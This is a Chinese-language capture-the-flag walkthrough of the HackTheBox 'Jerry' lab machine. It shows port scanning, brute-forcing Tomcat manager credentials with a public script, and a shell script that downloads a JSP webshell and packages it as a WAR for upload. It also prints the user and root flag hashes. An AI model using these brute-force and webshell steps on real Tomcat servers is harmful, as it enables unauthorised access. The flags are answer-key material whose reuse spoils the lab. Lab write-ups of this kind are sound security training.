[Meachines] [Easy] jerry Tomcat用户暴力破解+war包webshell上传

信息收集

IP Address Opening Ports
10.10.10.95 TCP:8080

$ sudo masscan -p1-65535 10.10.10.95 --rate=1000 -e tun0 > /tmp/ports

$ ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')

$ nmap -p$ports 10.10.10.95 --min-rate 1000 -sC -sV -Pn

bash 复制代码
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/7.0.88

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 150.89 seconds

Tomcat

https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py

爆破tomcat密码

$ python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95

s3cret

创建 WAR 包

bash 复制代码
# gen_war.sh
#!/bin/sh 
wget https://raw.githubusercontent.com/tennc/webshell/master/jsp/jspbrowser/Browser.jsp -O index.jsp 
rm -rf wshell 
rm -f wshell.war 
mkdir wshell 
cp index.jsp wshell/ 
cd wshell 
jar -cvf ../wshell.war * 

$ chmod +x gen_war.sh

$ ./gen_war.sh

可以直接通过这个目录找到两个Flag

http://10.10.10.95:8080/wshell/?sort=1&file=C%3A%5CUsers%5CAdministrator%5CDesktop%5Cflags%5C2+for+the+price+of+1.txt

User.txt

7004dbcef0f854e0fb401875f26ebd00

Root.txt

04a8b36e1545a455393d067e772fe90e

相关推荐
步菲1 小时前
springboot canche 无法避免Null key错误, Null key returned for cache operation
java·开发语言·spring boot
毕设源码-朱学姐2 小时前
【开题答辩全过程】以 基于SpringBoot的中医理疗就诊系统为例,包含答辩的问题和答案
java·spring boot·后端
2201_757830875 小时前
全局异常处理器
java
小徐Chao努力7 小时前
【Langchain4j-Java AI开发】09-Agent智能体工作流
java·开发语言·人工智能
Coder_Boy_7 小时前
SpringAI与LangChain4j的智能应用-(理论篇3)
java·人工智能·spring boot·langchain
Coder_Boy_7 小时前
基于SpringAI的智能平台基座开发-(六)
java·数据库·人工智能·spring·langchain·langchain4j
伯明翰java8 小时前
Java数据类型与变量
java·开发语言
想用offer打牌8 小时前
如何开启第一次开源贡献之路?
java·后端·面试·开源·github
小许学java9 小时前
Spring原理
java·spring·生命周期·作用域·原理
教练、我想打篮球9 小时前
122 Hession,FastJson,ObjectInputStream的序列化反序列化相同引用的处理
java·config·utils